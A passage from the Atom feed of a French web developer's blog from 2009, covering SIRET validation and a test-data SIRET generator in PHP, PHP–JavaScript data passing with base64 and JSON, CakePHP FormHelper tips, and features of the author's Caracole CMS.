&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tout d&#39;abord, je m&#39;assure que le siret ne contienne pas d&#39;espace. Puis je passe
nombre après nombre pour calculer la somme (je multiplie par deux les nombres
d&#39;index pair et par un ceux d&#39;index impair). Si le résultat est supérieur à 10,
j&#39;additionne chaque chiffre entre eux (ce qui équivant à soustraire 9).&lt;/p&gt;
&lt;p&gt;Si le résultat final est congru à 10, alors le numero de SIRET est valide.&lt;/p&gt;
&lt;p&gt;Il ne reste plus qu&#39;à l&#39;ajouter à mes régles de validation :&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $validate&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;  &#39;siret&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;    &#39;rule&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;validateSiret&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;siret&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;    &#39;message&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;Le numero de SIRET indiqué n&#39;est pas valide.&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Mais ce n&#39;est pas tout. Comme pour mes tests je crée à la volée des dizaines
d&#39;enregistrements, j&#39;avais besoin d&#39;un générateur automatique de numero de SIRET
valides. Voici ce que j&#39;ai fini par écrire :&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;public&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; siret&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  //On génère le début du numero de siret&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $siret&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $sum&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  for&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$i&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$i&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;!=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$i&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;++&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    $rand&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; mt_rand&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    $siret&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.=&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$rand&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;    //On ajoute une fois le résultat si index impair, deux fois sinon&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    $tmp&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $rand&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; *&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$i&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$tmp&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$tmp&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;-=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    $sum&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$tmp&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  //On ajoute 4 zeros&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $siret&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;0000&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  //On regarde combien il me manque pour etre congru à 10&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $diff&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 10&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$sum&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$diff&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    $first&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; floor&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$diff&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    $second&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $diff&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$first&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    $siret&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.=&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$first&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$second&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  } &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    $siret&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$diff&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; preg_replace&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;/([0-9]{3})([0-9]{3})([0-9]{3})([0-9]{5})/&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;$1 $2 $3 $4&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$siret&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; }&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Le principe consiste à générer les 8 premiers nombres de façon complétement
aléatoire et d&#39;en calculer la &amp;quot;somme&amp;quot; (selon le principe évoqué au dessus). Puis
on ajoute des zero pour combler l&#39;espace jusqu&#39;à ajouter la clé de vérification.&lt;/p&gt;
&lt;p&gt;Bien sur, la clé on va la créer pour que la somme de (2 x le premier chiffre)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(1 x le second) soit égal à ce qu&#39;il nous manque pour être congru à 10.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Et on fini par retourner le numero de façon lisible, par exemple : 774 082
010 00034.&lt;/p&gt;
&lt;p&gt;J&#39;ai fait une petite recherche sur &lt;a href=&quot;http://www.societe.com/&quot;&gt;societe.com&lt;/a&gt;, aucun
de mes numeros générés ne semble donner de résultat, malgré tout ils sont
syntaxiquement valides.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Faire communiquer PHP et Javascript</title>
    <link href="https://blog.pixelastic.com/2009/02/21/faire-communiquer-php-et-javascript/"/>
    <updated>2009-02-21T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2009/02/21/faire-communiquer-php-et-javascript</id>
    <content type="html">&lt;p&gt;Pour un projet sur lequel je suis en ce moment, je dois faire une interface
d&#39;administration assez complexe, le tout en AJAX.&lt;/p&gt;
&lt;p&gt;Je dois manipuler des données sorties de ma base de donnée, venant de trois
modèles différents, mais liés les uns avec les autres. Autant dire que j&#39;ai de
gros tableaux imbriqués de données. La page travaille vraiment beaucoup et
manipule ces données constamment.&lt;/p&gt;
&lt;p&gt;Pour éviter d&#39;avoir à faire une requete sur ma base à chaque fois que j&#39;ai
besoin d&#39;une information, j&#39;ai décidé de tout charger une première fois au
chargement de la page, puis de modifier coté client les variables sur lesquelles
je travaille, pour ne faire des requetes au serveur qu&#39;en upload (update/add) et
ainsi éviter au maximum les requetes en download inutiles.&lt;/p&gt;
&lt;p&gt;Pour ça, j&#39;utilise tout d&#39;abord le base64 de php pour passer des objets
complexes (au format JSON) à mes scripts.
&lt;a href=&quot;http://www.semnanweb.com/jquery-plugin/base64.html&quot;&gt;Muhammad Hussein Fattahizadeh&lt;/a&gt;
a pour cela mis à disposition une retranscription de l&#39;encodage/decodage en
base64 pour jQuery.&lt;/p&gt;
&lt;p&gt;Je peux stocker ainsi mes objets de façon &amp;quot;dormante&amp;quot; dans ma page, et les
décoder pour récupérer/modifier les valeurs dont j&#39;ai besoin avant de les
réencoder et de les re-ranger dans mon DOM. L&#39;avantage de stocker ces
informations en base64 c&#39;est que je ne risque pas de causer d&#39;erreur de syntaxe,
de balise non fermée, de caractère interdit, même si je manipule des objets
contenant du code HTML et que j&#39;ai besoin de le stocker dans mon propre DOM.&lt;/p&gt;
&lt;p&gt;J&#39;utilise aussi à coté de ça le
&lt;a href=&quot;http://json.org/json2.js&quot;&gt;parseur officiel JSON&lt;/a&gt; pour parser mes éléments JSON.
Il ne me reste plus qu&#39;à passer mon élément JSON en paramètre aux fonction AJAX
de jQuery pour mettre à jour mes données.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Créer plusieurs formulaires sur la même page avec FormHelper::create</title>
    <link href="https://blog.pixelastic.com/2009/02/20/creer-plusieurs-formulaires-sur-la-meme-page-avec-formhelper-create/"/>
    <updated>2009-02-20T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2009/02/20/creer-plusieurs-formulaires-sur-la-meme-page-avec-formhelper-create</id>
    <content type="html">&lt;p&gt;CakePHP permet de créer très facilement des formulaires dont l&#39;action (add/edit)
ainsi que les champs sont remplis automatiquement grâce à &lt;code&gt;FormHelper::create&lt;/code&gt;
et &lt;code&gt;FormHelper::end&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Il prends pour cela les variables contenues dans le $data du controller, qui
sont alors passées au $data de la vue.&lt;/p&gt;
&lt;p&gt;Si on veut changer le modèle et/ou les valeurs utilisées par le formulaire, il
suffit de faire nos modifications dans le &lt;code&gt;$this-&amp;gt;data&lt;/code&gt; directement dans la vue
avant d&#39;appeller &lt;code&gt;$form-&amp;gt;create()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Par contre, si sur une même page on possède plusieurs formulaires, tous d&#39;un
modele différent, l&#39;astuce ne fonctionne plus. FormHelper s&#39;est initialisé lors
de son premier appel et utilisera le même set de model et valeurs pour les
autres.&lt;/p&gt;
&lt;p&gt;Même modifier &lt;code&gt;$this-&amp;gt;data&lt;/code&gt; avant chaque appel à &lt;code&gt;$form-&amp;gt;create()&lt;/code&gt; ne changera
rien.&lt;/p&gt;
&lt;p&gt;Il faut donc ruser et modifier la variable utilisée par le Helper, c&#39;est à dire
modifier &lt;code&gt;$form-&amp;gt;data&lt;/code&gt; à partir du second formulaire.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Caracole - Edition directe</title>
    <link href="https://blog.pixelastic.com/2009/02/19/caracole-edition-directe/"/>
    <updated>2009-02-19T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2009/02/19/caracole-edition-directe</id>
    <content type="html">&lt;p&gt;En plus de son interface d&#39;administration complète, Caracole permet un mode
d&#39;édition rapide directement accessible depuis le coté front-end des sites, pour
corriger rapidement un titre ou un coquille qui se serait glissée quelque part.&lt;/p&gt;
&lt;p&gt;Grâce à jQuery et cakePHP, cette fonctionnalité est très simple à utiliser. Il
suffit pour cela d&#39;avoir les droits d&#39;administration sur le site que l&#39;on veut
modifier. Il suffit ensuite d&#39;y naviguer avec un navigateur assez récent (cela
signifie que IE6 n&#39;y est pas convié) et s&#39;affichera alors automatiquement en
haut à gauche de l&#39;écran un petit switch qui permet d&#39;activer ou de désactiver
en un clic le mode édition.&lt;/p&gt;
&lt;p&gt;Lorsque le mode d&#39;édition est activé, il suffit de cliquer sur une zone que l&#39;on
veut modifier pour la transformer automatiquement en champ de formulaire
modifiable (avec intégration de tinyMCE pour les grands textes). Il suffit alors
de modifier le texte exactement comme on peut le faire dans l&#39;admin et de
valider. La modification est prise en compte automatiquement.&lt;/p&gt;
&lt;p&gt;Coté développeur, il suffit d&#39;ajouter une class=&amp;quot;editable&amp;quot; ainsi qu&#39;un id formé
de la forme &amp;quot;controller-champ-id&amp;quot;. Ainsi id=&amp;quot;posts-text-12&amp;quot; identifiera le champ
&amp;quot;text&amp;quot; du 12e post.&lt;/p&gt;
&lt;p&gt;C&#39;est extremement pratique pour modifier des fautes de frappe, ou faire des tas
de petites modifications, je m&#39;en sers énormément et c&#39;est un pas de plus pour
faciliter l&#39;administration à l&#39;utilisateur final.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Caracole - Référencement</title>
    <link href="https://blog.pixelastic.com/2009/02/18/caracole-referencement/"/>
    <updated>2009-02-18T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2009/02/18/caracole-referencement</id>
    <content type="html">&lt;p&gt;Le référencement est une des préocupations principales de nos clients, tous
veulent savoir si avec le produit qu&#39;on leur propose ils seront en mesure d&#39;être
les premiers dans les résultats Google.&lt;/p&gt;
&lt;p&gt;Bien qu&#39;il n&#39;existe pas de recette miracle pour parvenir à ce résultat,
certaines sociétés sont spécialisés dans ce business et déploient des trésors
d&#39;ingéniosité pour réussir à faire grimper les pages de leurs clients dans les
index des moteurs.&lt;/p&gt;
&lt;p&gt;Mais c&#39;est un boulot à part entière, et ce n&#39;est pas le nôtre. Nous faisons des
sites web, à chacun sa spécialité.&lt;/p&gt;
&lt;p&gt;Malgré tout, il existe plusieurs bonnes pratiques qui permettent d&#39;obtenir de
bons résultats sans trop d&#39;efforts, et Caracole s&#39;en sort pas trop mal de ce
coté là.&lt;/p&gt;
&lt;p&gt;Tout d&#39;abord il tire parti de la façon dont les urls sont gérées par cakePHP, et
donc aucune url ne contient de paramètre de la forme ?foo=bar&amp;amp;action=foobar qui
sont très mal indexées. Chaque page possède donc sa propre url unique. Les
méthodes d&#39;url rewriting proposées de base par cakePHP sont très puissantes et
font déjà une très grosse partie du travail.&lt;/p&gt;
&lt;p&gt;Dans la même veine, il est possible de définir des &#39;slugs&#39; pour chaque élément,
un slug permet de donner un identifiant à chacune des pages, ce qui signifie
qu&#39;au lieu de retrouver un élément par son id dans l&#39;url (un simple nombre, qui
ne donne pas d&#39;indication sur le contenu), on peut à la place le remplacer par
un slug (du genre &#39;services&#39;, &#39;nous-contacter&#39;, etc). Cela donne des urls du
genre /services.html, /posts/1:mon-premier-post, etc&lt;/p&gt;
&lt;p&gt;Cela facilite le référencement des pages car des mots clés se rapportant au
contenu de la page peuvent déjà être mis dans l&#39;url, qui est une place
privilégiée.&lt;/p&gt;
&lt;p&gt;Ici encore, il suffit d&#39;ajouter un champ &#39;slug&#39; dans la table correspondante au
modèle pour que celui-ci soit automatiquement généré à partir du nom (il est
bien sur possible de le modifier si besoin).&lt;/p&gt;
&lt;p&gt;Caracole est aussi doté d&#39;un système de génération automatique de sitemap (le
plan du site). Celui-ci est généré en deux versions, une version html pour vos
visiteurs, et une version XML (qui indique les fréquences de réactualisations
ainsi que les dates de dernière modification) pour les moteurs.&lt;/p&gt;
&lt;p&gt;Et pour finir, je vais passer rapidement sur les essentiels : balise &lt;title&gt; et
meta description différents pour chaque page, fichier robots.txt, texte
alternatif sur les images et accessibilité du markup HTML mais bien sur,
Caracole se charge de tout cela aussi.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Caracole - Corbeille</title>
    <link href="https://blog.pixelastic.com/2009/02/17/caracole-corbeille/"/>
    <updated>2009-02-17T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2009/02/17/caracole-corbeille</id>
    <content type="html">&lt;p&gt;Dans la lignée du principe de brouillon j&#39;ai aussi ajouté une fonction de
&amp;quot;Corbeille&amp;quot;. Ca fonctionne exactement comme celle du bureau de Windows qu&#39;on est
bien content d&#39;avoir quand on a eu la main un peu généreuse dans les fichiers à
supprimer.&lt;/p&gt;
&lt;p&gt;Elle fait office de sécurité et les éléments soit-disant supprimés ne sont pas
réellement effacés instantanément, ils passent dans une corbeille intermédiaire.
A partir de là, si on se rends compte qu&#39;on a fait une bétise, on peut toujours
les restaurer à leur état d&#39;origine. Ou alors vider la corbeille de temps en
temps pour faire de la place.&lt;/p&gt;
&lt;p&gt;Exactement de la même façon que pour les brouillons, il suffit ici d&#39;ajouter un
champ &#39;is_deleted&#39; à la table du modèle correspondant pour lui ajouter la
fonction de corbeille, Caracole se charge du reste.&lt;/p&gt;
&lt;p&gt;Les éléments supprimés ne sont plus retournés par les fonctions de recherche
habituelle, à moins de préciser l&#39;option &#39;includeDeleted&#39;.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Caracole - Brouillons</title>
    <link href="https://blog.pixelastic.com/2009/02/16/caracole-brouillons/"/>
    <updated>2009-02-16T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2009/02/16/caracole-brouillons</id>
    <content type="html">&lt;p&gt;Une des fonctionnalités les plus pratiques de Wordpress, c&#39;est de pouvoir
enregistrer un billet comme brouillon lorsqu&#39;on ne l&#39;a pas terminé. Ca permet
d&#39;y revenir plus tard et de le garder dans un coin sans qu&#39;il ne soit perdu.&lt;/p&gt;
&lt;p&gt;J&#39;ai ajouté cette fonctionnalité à Caracole hier, et elle peut s&#39;appliquer à
n&#39;importe quel modèle (actuellement je l&#39;ai mise sur les pages et les billets de
blog uniquement, mais comme vous allez le voir, c&#39;est très facile à ajouter pour
n&#39;importe quel modèle).&lt;/p&gt;
&lt;p&gt;Une case à cocher &amp;quot;Enregistrer comme brouillon&amp;quot; permet d&#39;enregistrer l&#39;élement
comme brouillon, cela signifie qu&#39;il ne sera plus visible sur le site tant qu&#39;il
restera à l&#39;état de brouillon.&lt;/p&gt;
&lt;p&gt;Pour le développeur, c&#39;est très simple à utiliser, il suffit de rajouter un
champ &#39;is_draft&#39; dans la table correspondante au modèle et Caracole se charge du
reste. Les brouillons ne sont plus retournés par les recherches, à moins de
préciser &#39;includeDraft&#39; dans les options de recherche, ce qui permet de garder
le code le plus clair possible.&lt;/p&gt;
&lt;p&gt;Dans l&#39;admin, les brouillons restent bien sur visibles (bien qu&#39;indiqués de
façon légerement différente), et il suffit d&#39;aller décocher la case pour les
publier réellement.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Caracole -  Présentation</title>
    <link href="https://blog.pixelastic.com/2009/02/15/caracole/"/>
    <updated>2009-02-15T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2009/02/15/caracole</id>
    <content type="html">&lt;p&gt;L&#39;un des principaux atouts que l&#39;on mets en avant quand on propose nos services
à nos clients c&#39;est l&#39;autonomie qu&#39;ils auront dans la gestion de leur site web.
J&#39;entends trop souvent des clients qui possèdent déjà un site web me dire qu&#39;ils
veulent changer de prestataire car celui qu&#39;ils ont actuellement est trop lent à
réagir quand ils ont besoin d&#39;une modification et surtout que la modification
leur est facturée à chaque fois!&lt;/p&gt;
&lt;p&gt;J&#39;ai toujours trouvé cette approche ridicule. D&#39;une part parce que pour moi le
client devient propriétaire du site et qu&#39;il ne doit plus être dépendant de son
prestataire une fois la livraison effectuée. Ensuite parce qu&#39;il faut bien
l&#39;avouer, mettre à jour des textes, des images et des liens sur un site web qui
n&#39;est pas le notre, c&#39;est pas la partie la plus excitante de notre métier.&lt;/p&gt;
&lt;p&gt;C&#39;est pour ça que dès le début, j&#39;ai voulu permettre à mes clients la plus
grande flexibilité possible dans l&#39;administration de leur site. Et c&#39;est ainsi
que j&#39;ai commencé à développer des interfaces d&#39;administration, et que de fil en
aiguille &lt;strong&gt;Caracole&lt;/strong&gt; a vu le jour.&lt;/p&gt;
&lt;p&gt;Caracole est un CMS, basé sur le framework cakePHP. Il permet dans sa version de
base de gérer une architecture de site simple (Actualités, Pages, Formulaire de
contact). Il a été pensé afin de simplifier au maximum la vie à la fois à
l&#39;utilisateur et au développeur.&lt;/p&gt;
